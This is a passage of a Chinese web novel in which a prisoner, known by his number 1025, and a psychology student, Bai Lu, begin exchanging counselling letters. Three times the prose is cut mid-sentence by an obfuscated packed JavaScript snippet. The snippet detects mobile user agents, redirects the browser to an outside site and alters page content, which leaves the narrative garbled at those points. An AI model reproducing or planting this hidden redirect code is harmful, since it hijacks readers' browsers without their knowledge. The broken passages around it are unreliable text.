她沉浸在自己的幻想中,几分钟后她重又分析这张照片,却意外发现上面的一个信息。 白鹿将照片扩放到最大,男人囚服的胸前某一处,清晰又模糊地显现出来,她眯起眼睛细看,四个数字。 ——1025 这是他在里面的服刑编号。 4. 第四章 秦龙还了餐盘,走向回监舍的路上。 途中,经过狱内商店,他进去买了包烟,寻着吸烟区停下来抽。 袁候一路跟着他,也拿过一根抽起来,享受久违的尼古丁钻入肺部的滋味,满腔舒畅。 这儿的商品与外面平价,但种类不多,包括烟都是最低档次的。 男人们爱吸烟,底层混的人,对这些都不计较。 陆续有不少饭后烟瘾者进来,一大片烟雾在室内弥漫,一帮大老爷们七嘴八舌地聊着闲话。 都是跟社会脱节的人,没啥新闻热点好议论,年纪大的会念叨家里的老人孩子,年纪轻的则盘算着出去后如何谋生,或者生产车间又来了什么单子,一些寻常话题,听都听出闲屁了。 秦龙默默吐烟圈,目光落向小窗外洒进的光线,照在地面上金灿闪熠,眼前青灰色烟雾袅袅升腾,如梦似幻,化灭在无光的角落里。 他眯起眼想着事情,袁候喊了他两声,没应答。 袁候人又瘦又黑,外号猴子。 进监狱下分监后,他到秦龙那一舍,俩人上下铺,之后分工做事也一块。 当时猴子才刚满十八周岁,人小鬼大,脑热犯了错,认罪坐牢,反倒觉得挺新奇。 那会儿秦龙进来已快一年,屈腿靠坐床头,抬下巴问他:“犯什么罪了?” 猴子脸生看他:“盗窃,两年半。” 秦龙又问:“为什么抢钱?” 猴子坦言:“没钱手痒了,就想干一票。” 秦龙嘴角浮上笑:“结果干到监狱来了。” 猴子也笑笑,还为自己打抱不平:“他老子我原本只想拿个几千,我说真的,没想到手误多搜了只数码相机,对方死咬着说昂贵,数额大了就判得久了。” 秦龙枕着双臂看天花板,懒懒瞥他一眼:“都一样。” 猴子反问:“哥,你是怎么进来的?” 秦龙看着他,轻笑一声,似答非答:“是个男人都会犯错。” 秦龙被判刑期比猴子长,但因服刑期表现良好,获上面批准减刑半年,剩余刑期算下来跟猴子差不多,俩人也就愈加聊得上了。 再后来,舍内进来几个同龄的,也都是两年左右刑期。 阿华,故意伤害罪。 老妖,抢劫罪。 四人当中,不分年龄,属秦龙待得最久,因此其余人都喊他龙哥,平时工作吃饭都跟着他,什么事情都让他罩着。 监狱内也是一个社会,虽然没了自由之身,但面对无数相同情况的人,正面摩擦多了,难免会起些小争执。 每一个囚犯都是从进来时的束手束脚,到后来面对初狱者的蛮横盛行,大家私底下封着各种监区老大、监舍老大的名头,这风气几乎已是不成文的生存准则,只要没破坏监狱管理的行为规范,管教干部们也都默认睁只眼闭只眼。 秦龙是自己监舍内的老大,平常话不多说,气场就极其强烈,即使年龄不大,但舍内兄弟们都尊敬服从于他。 他待舍友大方,会借钱给有需要的人,也会去商店买了食物回来分享,基本上过一天算一天。若是生活费吃紧了,则在工厂留下来加会班,大伙儿感情凝聚力深厚了,有福同享有难同当。 所以义气这东西,搁哪儿都很重要。 * 中午吃饭那会儿,猴子便发觉秦龙情绪不对,现在又闷声不吭抽着烟,着实让人起疑。 要知道几个月前大伙儿还一块说要戒烟,现在倒好了,舍长先破了例,他也没想憋着,顺势跟着抽了。 他朝秦龙喊几声没见反应,靠墙边作罢,待后来秦龙抽完一支,掏出烟盒再点了一支,他上前阻止:“哎……龙哥,这怎么抽上瘾了?” 秦龙侧头瞥他一眼,手上动作不停,烟蒂燃上新的,旧的扔一边去,持续抽起来。 他狠狠吸了一口,重重吐气,手夹着烟放下,指向墙上的钟,“时间还早着呢!” 猴子往墙上一看,十二点二十分,离下午出工还剩十分钟。 他将眼神从墙上挪开,移到秦龙脸上,朝人走近一步,不怀好意地笑:“龙哥,你老实说,刚才那几个学生妹妹,你是不是看上哪个了?” 秦龙目光顿滞,眸中神采微闪,吐了一小口,他换只手抖烟,嘴角轻扯:“怎么?” 猴子搓了搓手,猥琐地笑:“想女人想得紧吧?” 秦龙脸上笑意浅淡,没有否认。 “我就知道!”猴子明白过来,推一下他肩臂,追问,“是不是头发很长,身材瘦瘦的,脸蛋挺白净,长得最漂亮那个?” 秦龙颇有深意地注视窗外,仿佛那儿有一个点,引人聚焦。 他还是没说话,却默认了。 猴子见状脸上扬笑,搭上他肩背扑上去,像下了决心般道:“哥,你再忍忍,等到时候出去,我就给你找一更好看的妞,绝对让你爽翻天……” “还没待够呢是吧?”秦龙侧眸俯视他,眼神带着不屑,“就你这阅历和怂样,你要算计的还不够外面等着坑你的。” 猴子张着嘴:“不是,龙哥,你误会了,我不是说去嫖,就你这身材样貌,别说那些爱看脸的小姑娘,富婆看着都眼馋想上。你放心,我不会坑你,我就以身试险去找专门爱好你这型的。嘿嘿,到时候你可以……” 秦龙听着毫无兴致,脸上丝毫波动都没。 猴子见他这样,迟疑地停下嘴,不确定问:“龙哥,你怎么看?” 秦龙指尖的烟灰积了很长一截,他听见微微回过神来,那脆弱的一段随之落下,摔成粉碎滑落到裤脚上,堆成脏脏的一点。 他跺了跺脚,低头沉沉出气,带有呛烟过的沙哑,声音有一丝不耐烦:“别竟给我整事!” 快速利落说完,他回头看墙,时间已差不多。 秦龙扔了手上的烟头,忽觉得屋内闷热呛鼻,快要引人窒息,他解了囚服一颗纽扣,跨着大步直接走出去。 * 出了走廊尽头,外面光线耀眼,金秋的风徐徐吹来,照在人背上柔软轻融。 秦龙双手轻捏着拳,一手握着剩余的烟支,抬头望上方天空,一片湛蓝纯净,白云舒卷。 这样的景色常有,但他同一角度看久了,就不觉得特别。 转念一掰手指,年头已过三载。 这是他在里面度过的第四个秋天。 再过两个多月,他就被释放出去,时间竟飞逝得如此快,他心境反倒愈加平静,也没显得那么迫不及待了。 秦龙走在活动区通往工厂的路上,猴子从后头追上来,喊了一声龙哥,然后同他并肩行走。 两人到了工厂车间,里头半成品布料七七八八堆着,乱作一团,等待犯人们后期的加工。 监狱的加工成本低,犯人必须接受劳动改造,人人上岗工作,所以外面那些等待制成的货一车车被运送进来,日不停歇。 工作虽枯燥,但上班时间固定,又能放风休息,平常也有娱乐,倒不显得累。 最疲倦的是心,年年月月被禁锢着,精神也懈怠下来,在每每寂黑的夜里,空洞得让人窒息。 秦龙白天不想多余的事儿,他是车间一组组长,最近赶一批窗帘货,人手固定不够只得加班加点,一进去就催人动手干活。 得来的报酬都是按计件算,大伙儿老老实实做着,也能暂时替上自己在监狱的开销,勉强过着艰辛酸涩的日子。 阿华跟老妖早就到了车间,见秦龙跟猴子掐点而来,追问刚才干嘛去了。 猴子一张嘴尤其快:“跟龙哥抽了两支烟,顺便在想今天对面吃饭的学生妞呢。” 秦龙挥起手掌往他后脑勺拍,下令:“干活!” 猴子缩起脖子,用手摸了摸。 阿华记得刚才那些女孩的模样,回忆道:“我记得坐龙哥右边那个,好像看起来挺不错的。” 猴子给了个确定的眼神。 老妖坐在角落,手头已经忙碌起来,他自言自语:“那些女的呀,估计都是大学快毕业的,一看就是好家庭出身的,看人的眼神架子高,没可能接近。” 猴子表示同意:“我跟龙哥中间去过一趟厕所,就听见人在背后说我们坏话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849967|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个有色眼镜戴的,他妈瞎得快成色盲了。” 秦龙没给评价,只说:“你在教室里当众调侃她们,人不把你当成老流氓才怪。” 猴子吹了声口哨,顾自回到位置上干活去了。 还没动上手,先喊出一声:“老子上午串的一打珠帘呢?” 语毕,周围的人纷纷抬头望过来。 秦龙闻言回身,去看猴子工作桌上,窗帘边上的流苏全是空余的,没有任何珠饰点缀过,完全的初品。 他走回去,问:“怎么了?” 猴子将串珠棒一扔,像是知道谁干的好事,转身面对身后的二组人员,指着他们后背骂道:“你们!谁他妈偷换了我的窗帘。” 二组人员忙着赶工,没人理会他,二组组长闻声赶来,看向猴子问:“咋回事?” “你的人……”猴子手指来指去,相当肯定,“偷拿我的劳动成果。” 二组组长听完一笑,立马摇头:“怎么会呢,我一上午都在这儿,这些人连屁股都没离凳子过,怎么会来你这儿拿呢?你肯定记错了,没凭没据,可不能随便冤枉人啊。” 秦龙在一旁默默听着,见猴子不依不饶,兴许是那成品快完工了,一件的钱本就难赚,自然不肯让人白白拿了去。 他走过去插话:“老刘,上午我们听课之前,猴子确实有做了不少,后来发生了什么,如你所说,都是在你眼皮子底下的,你应该问问你的人,手脚有没有伸长过。” 老刘哑了声,还想辩解来着,张张嘴终是回过了身,问组内人员:“你们今天有谁动了一组的窗帘没有?” 男人们相互看着,全副无知,故作不明。 秦龙从二组的头走到尾,再绕了一圈回来,眼神随之审度,再问老刘要了今日完工的计件表格,核验一遍后抬头。 他眼睛直视众人,语中意有所指:“是谁拿的我心里已经有数,别以为藏着就没人发现了,现在不老实交代,我可以去让警官调监控。这么喜欢窗帘,我让你未来多做一年,满不满意?” 二组各个低头,静默无声。 秦龙的目光由先前的散视,渐渐落到一个秃顶男人头上。 对方一直不敢抬头,隔几秒小心翼翼偷瞄过来,正好撞见秦龙凌厉的眼神,吓得手头一颤,即刻站起身承认:“是我……龙哥……是我拿的,我错了。” 老刘恨铁不成钢的,手指点了几下:“你给我出来!” 男人躬了几下身,弯腰将一条成品从桌下提出来,卷成一团火速递至猴子面前,连声道歉:“对不住了,猴子,我脑子一时糊涂了……” 猴子懒懒斜视他,鼻孔里哼了一声,没给搭理。 男人秃着顶,身材矮小,年龄比猴子他们要大得多,表面看去是个老实人,却没料到私底下手脚不干净。 在这种地方,类似事件常有发生,以前是些小件东西,少了大伙儿也记不得不在意,现在的情形却是不好说,谁都掐算着日子一天天过,没人会跟钱过不去。 秦龙看着眼前低头认错的男人,只说了句:“下不为例!” 男人低头哈腰走开了,秦龙听说过他家庭情况,目前有个生病住院的儿子,家里老母又拾荒过日子,全靠老婆赚点打工费,怕是走投无路才想出这么个小伎俩。 * 傍晚收工,几个监舍长们留下来开了短会,秦龙靠墙站着,眼睛望着外面,心不在焉。 前头管教下发几张白纸,称是回去后监舍每一人写份报告,有关于今天听课后的感想,字数需在八百左右,不认字的除外。 秦龙自嘲一笑,整的跟个学校写作文似的。 从前至后一一发到手上后,却意外发现多了一张白纸黑字的介绍信。 “这是什么?”他问旁人。 刚才管教似乎有过解释,他没有认真听,这才注意起来。 “心理咨询啊……”隔壁一监舍长解释,“什么乱七八糟的,都快要出去了,谁会去搞这种东西,真是闲得没事找事。” 秦龙捏着手上的纸,上下扫了一遍后,目光却逐渐笔直了。 5. 第五章 白鹿周日接到表妹邹莹电话,提醒她晚上回家吃饭。 自父母车祸去世后,她一直住在姑姑家,要回的也只有那儿。 邹莹比她小两岁,同在C大念书,读文学专业。 傍晚白鹿早早收拾好,到邹莹寝室楼下等她出来,两人一起出校门坐车回家。 等公交车时附近有家水果店,白鹿趁时间来得及进去逛会,邹莹在一旁跟着,询问:“姐,你最近跟乔律师聊得多吗?” 白鹿手头挑着苹果,眼神忙碌得分辨好坏,漫不经心答:“一般般吧。” 邹莹帮忙挑拣,说:“你不喜欢他呀!” “没什么感觉。”白鹿一副平平淡淡的样子,“关键我们都没怎么见面,下次有机会我想当面跟他说清楚。” 她收好一袋苹果,转身去看别的。 邹莹脚快跟过去,“别呀姐,我妈对你俩期望还挺高的,一直电话问我进展怎么样,待会回去她肯定逮你刨根问底。乔律师虽然忙,可你们平常多聊天,总也能聊出感情来的吧。” 白鹿叹了一声,垂下双肩道:“莹莹,要是换做你,给你一个整天见不到面的男朋友,你要不要?” 邹莹眨着眼,想了会说:“姐,我没男朋友,不懂那种感觉,可乔律师要真心喜欢你,你这不害得人家伤心嘛。” 白鹿拿了串手边的香蕉,拎起来前后检查,没发现任何黑斑,拿袋子直接套了起来。 她边走边说:“我现在回想当时还挺糊涂的,女朋友的义务我都没尽过,另外他也真是忙,我觉得和他还是比较适合做朋友。” 邹莹听似明白了,又突然冒出什么想法,问她:“姐,不会是有人在追你吧?” 白鹿拿橘子敲她头,“没有!” 邹莹摸头:“没有你怎么突然间就想着散了。” 白鹿狐疑地回头瞧她妹,啧一声:“我发现你还挺八卦的,这么希望我跟他好啊,你怎么也跟你妈一样了,想我赶紧嫁出去?” 邹莹一听抱住白鹿,撒娇笑说:“我才舍不得你嫁,姐,我是觉得乔律师人挺不错的,人靠谱工作也靠谱,又知根知底,你俩很般配。” 白鹿淡笑,手上拎满水果袋子,往结账处走,嘴里嘀咕着:“我不怎么喜欢他这一型的。” * 晚饭前到了姑姑家,白慧婕正在厨房烧菜,看见俩闺女回来嘘寒问暖。 姑父邹国信难得也在,刚审结一个案子,跟她们在沙发边聊着,讲起了法律小课堂。 白鹿想起手头上的论文,以及那天去的监狱,顺嘴问道:“犯人送到监狱后,具体是怎么改造的呀?” “监狱?”邹国信笑,“怎么对那里面感兴趣了?” 白鹿作出好奇心:“就突然想了解,想知道他们平时都做些什么。姑父,您进去参观过吗?” 白慧婕在餐桌上摆盘,听着走过来插话:“你姑父经常忙得不着家,除了法院是他第二个家,他还能去哪。” 白鹿一听,顿时来了优越感:“姑父,这您可比不上我喽,我最近去了趟监狱,跟我们老师同学一块,那些放风的犯人,站在操场上相当壮观。” 白慧婕闻言不信,坐下来确认:“你去监狱?” 白鹿点头:“嗯。” 白慧婕疑惑:“去监狱做什么?” “就旁听心理课,写论文时要用的。” “哪座监狱啊?” “江司监狱。” “……” 白鹿发现他们个个都瞬间沉默了,便问:“怎么了?这监狱有问题吗?” 邹莹表情微变,她靠过来,似真似假又郑重其事:“江司监狱啊,里面关押的都是重犯。” 白鹿被她的表情看笑了,“吓我啊,哪个监狱关的不是重犯。” “你不知道,江司监狱最出名。” 这倒是头一回听说,白鹿问:“有多出名?” “嗯,跟咱们C大一样,省重点。” 白鹿吃橘子被噎到,斜她一眼:“……还有保送进去?” 邹莹说:“不,是直接录取。” 白鹿:“……” 邹莹唬她跟真的似的,倒是姑姑姑父没多解释,只说这地方以后少去。 白鹿借话安慰他们:“那儿的监区长说了,他们是八分区的,改造得差不多,都快要释放了,放社会上我们不也照样在接触嘛,不能用异样眼光去看待。” 邹莹看她一会儿,问:“姐,你不觉得害怕吗?” 白鹿不明白:“害怕什么?” “他们当中有些盗窃的、强.奸的、砍人的……妈天天接触这些案子,你不反感吗?” 白鹿朝她淡淡一笑:“让我用心理学简单告诉你,在他们知道犯罪的那一刻,就已经意识到错误;在他们被判刑的那一刻,就已经准备好要赎罪;在他们即将被释放的那一刻,就已经准备好新生……” 邹莹听她说得在理,道:“姐,你看得可透啊。”。 白鹿继续分析:“人无完人,是人每天都会犯小错,只不过我们自己没意识到,也几乎无人指责。就说你,你去水果店尝鲜没问题,偷拿最贵的车厘子,你是店家你愿意吗?” “……”邹莹说,“我这是试吃,并不是不买了。” “是,这问题搁在你这儿没大碍,你是知道分寸的。但是换做觉得理所应当的人,小摸小拿惯了成为盗窃犯,到了触犯法律底线,就会有法律条文约束他们,关押判刑服刑这整一过程他们心理会发生一系列变化,不管懊不懊悔,都要接受长年的惩罚改造。所以,一念之差人就堕入罪恶深渊,再向善就要付出所有,是人都赌不起的时间和自由。” 邹莹听她长篇大论说完,举反例:“可是,二次犯罪的也多,你怎么肯定他们出来就一定从良了啊。” 白鹿说:“所以,这个工作就需要我们来做了呀,姐姐我的论文就是专门分析这一块。” 邹莹仍是不太放心:“姐,你得多加小心啊。” 白慧婕烧完最后一道菜,招呼俩人过去分碗筷,晚餐正式开始。 如寻常一样,白慧婕给白鹿倒饮料,关切地问了句:“跟小乔处得怎么样了?” 邹莹跟她姐对视一眼,意思是中招了吧。 白鹿没回避,很直接地坦白:“没怎么联系了,我觉得不太合适吧。” “怎么了呢?”白慧婕讶异地问,“是觉得小乔太忙没空陪你?” 白鹿顺意地点点头。 白慧婕给她夹菜,语重心长:“小乔这孩子上进,现在处于事业上升期,案子忙是正常,我听他妈说,等稳定下来,到时候就跟朋友合伙开设事务所,你可得忍住啊。” 邹莹插嘴:“啊?那不是更加没时间陪姐姐了吗?” 白慧婕嗔她一眼:“你懂什么,男人立业后再成家,这是最基本的保障,他只有在社会上立足了,认识的朋友也就多了,还能给你姐未来的工作开点路子,或者俩人一块打拼也行,车房子什么的都有了,结婚也更顺其自然,什么都不用操心是不是?” 她最后说完看向白鹿,希望她能将这番话听进去。 白鹿给的反应仍旧是淡淡的,她也有话直说:“姑姑,你说得对,我很赞同。但关键的是,这段时间没见,我连人长什么样都不记得了,平常聊天聊案子跟你的模式一样,我听着都无聊想睡了,我跟他兴趣不一样,就是那种感觉不对,淡下来了。” 白鹿原先想说压根就没感觉了,思考了下还是给人留了面子。 “别老说感觉感觉,感觉都是你单方面的想法,你嫌人家谈案子无聊,人家还怕你学心理摸心思呢。这俩个人在一起就要相互理解相互包容,他才大你两岁,有什么谈不到一起的。” 白鹿作出无奈,轻叹一声,这回不想说什么了。 邹国信知道妻子对侄女关切得紧,基于兄长嫂子离世,想给闺女找个靠谱的好人家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849968|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但眼下明显是急过头了,便替白鹿说话:“好了好了,你逼这么紧做什么,孩子还没毕业,先落实工作,再考虑其他事情吧。” 邹莹也立刻表态:“就是,我还想跟姐再多睡几年床呢。老妈,三比一,你输了。” 白慧婕夹了一筷子菜过去给女儿,瞪视一眼道:“赶紧吃你的吧。” “那不说这事儿了。”白慧婕转了话题,看向白鹿说,“你这论文是怎么回事,以后经常要去监狱了?” 白鹿快速摇头:“没,这只是实地探访,选题还没敲定,也有可能不写这块的。” 有了刚才经验之谈,白鹿明白姑姑是个不会轻易饶嘴的人,即使经常接触大小刑事案件,但对那些罪犯还是保持一定的偏见。 白鹿的选题虽没有确定下来,但她已经决定要去研究犯罪心理特征,不过是暂先糊弄人罢了。 白慧婕终于放弃议论性话题,大伙儿轻松愉悦地吃完一顿饭。 由于姑姑家离学校有一段距离,晚饭过后时间也推迟了,白鹿跟邹莹便在家里睡了一晚。 俩姑娘一张大床,从白鹿大一睡到现在,有些年头了。 * 周一大早,白鹿刚睁眼起床,临时收到院里开会的通知,还得赶回学校听讲。 邹莹睡得迷迷糊糊,被她姐强拉起来,火急火燎整理一顿坐车回学校。 到了校门口,两人分开。 白鹿没回宿舍,径自往院里会议大厅赶过去。 姜琦等人已经在那儿坐着,给白鹿留了个空位,她到了后会议刚好开始,在场人手发了一份心理宣传资料。 开会的主讲师是领域内的著名专家,方老师跟她是熟识的老同学,站在台上交流了片刻。 白鹿翻看折叠的手册,再注视台上的真人,来回对比几眼,实在想不起来,自言自语说:“这人看着有点眼熟。” 身旁姜琦听见,解惑说:“这就是咱市里最著名的心理医生,以前课上有讲过成功案例的,张海新博士。” 何青青想了起来:“就是在C大附属医院里面坐诊,曾让一个变态杀人魔供述自首的那个?” “对。” 唐佳瞬间崇拜起来:“心理治疗师啊,我什么时候也能像她那样就好了。” 姜琦扒清现实:“别指望了,人家是医生,我们只能算是咨询师。” 唐佳双掌合十碎碎念:“成不了医生,像方老师这样也不错啊,赶紧给我抛几个心理有问题的人来吧,最好是个有钱到被迫害妄想症的富豪,那我就赚发了啊……” 白鹿坐在台下,她显得很安静。 她仍旧在观察台上的张医生,经她们解释才稍微有点印象,但又似乎不止那点印象,于是仔细看手头上的专业介绍。 她念了一小节:“临床催眠治疗术……” 唐佳抢过话道:“就针对那些有心理创伤的,想想很带感呢,控制别人的思想,我超级想学习,她要是收徒,我绝对第一个报名。” 白鹿笑:“你省省吧,别把人思想带歪了。” 一个会议开了半上午,目的在于普及更广泛的心理学知识,以及未来的就业方向,最后张医生倒确实有开班招收实习的意向,留了个邮箱让有兴趣的同学们投简历。 唐佳异常兴奋,即刻就在手机上编辑起来。 散会时,人潮蜂拥往外移动。 白鹿她们挤在后面,慢吞吞地往出口前行。 她才要走到门口,听见身后一声呼喊:“白鹿!” 白鹿回头,是方老师在叫她。 白鹿已到人群中央,走不回去,只好方老师跟出来。 到了厅室外面,方老师递给她一封信,牛皮纸信壳,看上去普普通通,正面是手写的学校院系地址,收信人写着白鹿的名字。 白鹿拿着信正反看一眼,疑惑抬头:“谁寄的?” 方老师说:“刚刚早上到的,你自己拿回去看吧。” 6. 第六章 这年头还能收到手写信,着实让白鹿感到意外,如此传统的联络方式,她想不到写信的人该有多么落伍。 白鹿还想问什么,方老师挥了挥手说:“回去再看。” 白鹿心中愈发好奇,这封信写着什么内容,方老师也许是略知一二的。 她逐渐深知这封信不简单,所以也没转身就迫不及待地拆,而是塞到了口袋里,打算找个周围没人的时候看。 回去的路上,姜琦她们要回宿舍休息,白鹿顺便去楼下取款机取钱用,暂时跟她们分开。 快速取完钱,白鹿就站在独立的小空间内将信封口给撕了。 她手伸进去,里面是一张薄薄的信纸。 将信纸展开,纯白色的纸,写了短短几行字,一眼扫过去,信的格式很规范。 字迹大而清晰,遒劲有力,她猜是男的写的。 白鹿聚精会神,阅读信里的内容。 —— 白小姐你好! 我是江司监狱的一名犯人。或许你见过我,那天曾一起听过心理健康课。课后我们收到咨询介绍信,上面有你们学校联络地址,我选择了跟你交流,不知道你是否愿意接受。 如果你不愿意,可以不用回信。打扰! 八分监区1025 —— 半分钟不到,白鹿就看完了,她产生了怀疑,于是又花了半分钟时间仔细看第二遍。 确认没什么遗漏了,她放下信,半张着嘴回想起那天。 已经过去一星期,若不是因为这封信,白鹿确实快忘了还有这回事。 那天回去的车上,方老师随口提过,将她们四人的联络姓名转交给了管教组,以便给有心理咨询需要的犯人打开沟通渠道,同时也能给她们搜罗素材写实例,提升咨询经验。 原本这做法仅是小试一把,却没想到这么快就来了信件。 白鹿瞬间明白了方老师递给她信时的那个眼神。 白鹿是宿舍内第一个,就如业务员初接到单子似的,短暂的兴奋过后却又不禁充满疑惑。 她疑惑的是,这信中压根没啥内容,她还期待下文的交代,然而对方的试探太小心翼翼,如同给人发消息之前先得问一句“在不在”。 他的介绍倒是清楚,措辞也诚恳,但最后的戛然而止让她有些着急。 白鹿看到末尾那个日期,不禁错愕今天才只有20号,怎么就推后到25号了? 她绞尽脑汁想了一番,才临时顿悟,眼前猛然浮现出那个闪过锋芒的眼神,与她在厕所门口.交汇,当时彼此无声无言,却又仿佛波澜四起。 白鹿脑中有刹那空白,回过神来去翻看手机相册,找到那张偷拍过的照片。 对照之下,她才明白了,1025不是日期,正是服刑编号。 原来是他,那个被喊做龙哥的人。 白鹿忽然觉得有些不可思议,对于他选择写信,而且恰好寄给了她这件事。不知巧合还是什么,她没有深究,也没再多想。 外面有人进来取钱,白鹿让出空间,收好信走出去。 因为突然收到咨询信,白鹿内心有些激动,一时按捺不住,眼下她突然有种想要快速写回信的冲动。 也许是从来没有写信的体验,她感到新鲜又好奇,替人开导的使命感油然而生。 这么想着,她快步走到附近的小间文具店,进门就问:“这儿有卖信封吗?” 她担心小店内没有,毕竟现在这个时代,网络成为主流,发个信息几秒钟的事。 老板在看电视,听闻她的话,表情稍有惊讶,磨磨蹭蹭站起来边往里走边说:“好像有,我给找找吧。” 白鹿又朝里加上一句:“信纸,邮票都要。” 叮嘱完,她低头看一眼手里的信封,右上角贴着一张牡丹花邮票,被盖了红色的邮戳,拿近了细看,还有信息量。 江司投递,时间是十六号,在她去过的第二天。 送信的过程太漫长,她在想对方会不会一直在等回信,又或者以为她置之不理了。 等了有一会儿,老板终于出来了,像是挖了很久,拍着几沓信封包装纸上的灰,手上还拿了各色信纸和邮票。 白鹿接过来看,白色的信封,边沿点缀着花色,信纸厚厚一叠,看上去美观度还行。 只是,她不知道能跟对方写多久的信。 她问:“这有几张信封?” 老板:“一袋十张,五块钱。” 她又问:“那信纸跟邮票呢?” 老板:“信纸也五块,邮票得看你寄到哪。” “市郊那边。”白鹿说,“江司农场附近。” 老板算了算:“你买十张,我算你便宜点,八块。” 白鹿点点头,目光环视一圈,看到固体胶,手点了点:“加上那个一起。” 买了所有写信要用的材料,白鹿心情不错,上赶着要完成一项大任务般,回到宿舍什么也没干,扯了一张信纸铺平,拧开台灯低头凝思起来。 唐佳在身后吹头发,凑过来看:“鹿鹿,你写什么?” 白鹿还没动笔,用手遮掩:“写信。” “写信?”唐佳提了兴趣,两眼放光,“写给谁?” “一个咨询者。” “咨询什么?” “秘密。”白鹿自然不会交代清楚,“这是人家的隐私。” 唐佳识趣地走开了,“噢,那你论文选题定好了没?我打算换了,我要拜张医生为师,我要成为催眠大师。” 白鹿:“……” 唐佳心意已决,开始滔滔不绝地讲起她的催眠梦。 姜琦跟何青青觉得不太现实,让她别抱有太虚幻的想法。 白鹿对此没兴趣,一心考虑回信该怎么写。 她先在第一栏写了个称呼“1025”,毕竟她不知道对方真名,而他在信中也没有说明。 想到这儿,她分析着,尽管只是一个编号,但自己知道他是谁,而他也许猜到自己是谁,但他却不知道自己已经知道他这件事。 绕来绕去,似乎她的掌控度要高于对方,这让她有了点安全感。 再鉴于隐私考虑,白鹿想着他到时候会回信,于是在开头一段她这样写—— 你好!谢谢你的来信。 我是一名心理专业的学生,你能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849969|175805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信我,我很感谢,能为你排忧解难是我的荣幸,不管你有什么困难,我都会竭尽全力为你开导。 如有回信,你可以寄到我们学校的门卫处,我会定期去查看并及时回信。 —— 学院没有具体收信的地方,而她又不想公布自己所住的宿舍楼号,所以写门卫是最保险的。 到这,白鹿停了笔,她斟酌着接下去写什么。 问他有什么心理障碍?需要得到什么安慰? 一问一答太拖沓效率也不高,这就是写信的弊端,永远是单向的回音,不似网络消息那么及时和互通。 寄一封信很花时间,白鹿干脆将所有问题一股脑儿写下来,为此她罗列了一番后再动笔。 —— 为了咨询能够顺利展开,我首先需要了解你的基本情况。 如果你有要保护的隐私,可以适当性回答以下问题。 1、你犯的什么罪?方便的话说下案情。 2、你的家庭情况,以及你的年龄、学历。 3、对于曾经犯下的错,你目前的心理感受及想法。 4、出狱后,对人生有什么新的安排或计划? 5、你觉得你现在最大的心理障碍是什么? 针对上述问题,你可以将你心中所有想法敞开心扉告诉我,我也保证会尊重你的个人隐私,绝无第三人知晓。 期待你的回信! 白鹿 —— 一气呵成写完,差不多一页纸,白鹿搁下笔,拿起信纸吹了吹,等字迹干涸。 唐佳刚才借了白鹿的香水,还回来的时候盖子边没捏紧,有香水气跑出来,迷蒙地扑在空气中,白鹿忙将信纸拿远。 她从头到尾检查一遍,没有发现错别字,又对她所提出的几个问题陷入沉思。 作为一个咨询师,在跟初次接洽的访客沟通过程中,首先要获取对方的信任,试探措辞等表达方面要万分正式谨慎,所以任何时候都不能抱着八卦的心态去挖取别人的隐私。 说好听点,得拐弯抹角慢慢引导别人自己说出来,将对方的心门打开,到那时候疏导工作就会愈加彻底,顺理成章。 每个人对陌生人都会设防线,不仅来访者对咨询师会,白鹿对来访者也会,之前在网上做过在线沟通,当时没实例经验,她还没向对方问上什么,对方却率先调侃戏弄了她,典型的反杀技。 如今有准备了,她得好好处理咨询师与来访者的关系。 不过,除去此刻她作为咨询师的身份,私心里也对他保留了足够的好奇心,所以她其实挺期待他回信的内容。 信纸晒干后,白鹿将内容内折成三截,收进一张信封里,封口用固体胶粘好,然后上网查询了江司监狱的具体地址,带上他的编号抄上去,最后补上邮政编码和邮票,回信就完成了。 学校对面有一家邮政局,白鹿下午出去寄信,正打算将信扔进邮筒,瞥见一邮递员过来收信,顺便指着信问道:“寄到这儿大概需要多久?” 大叔背着军绿色邮包,眯眼看了看:“市郊啊,最迟四天吧,四天肯定到了。” 白鹿说:“谢谢。” 7. 第七章 霜降日子。 早晨冷空气一吹,天地间一片白茫色。 临近中午,雾气拂散,温度攀升,秋末一丝阳光照进高墙内,洒落在工厂大门口。 铃声尖锐打响,昭示上午收工。 秦龙从机台下蹲起身,老锈的转轴终于灵活运作起来,狱友下腰一看,果真修复完善,拍肩感谢:“组长厉害,没想到你一年轻小伙子这么能耐,进来以前做什么的?学过汽修吗?” “……” 秦龙沉默没回,猴子进来插嘴:“龙哥什么都会,蓝翔技校毕业,牛不?” 狱友听信了,瞬间竖起大拇指:“牛!这样的技术,出去以后糊口饭吃都不愁。” 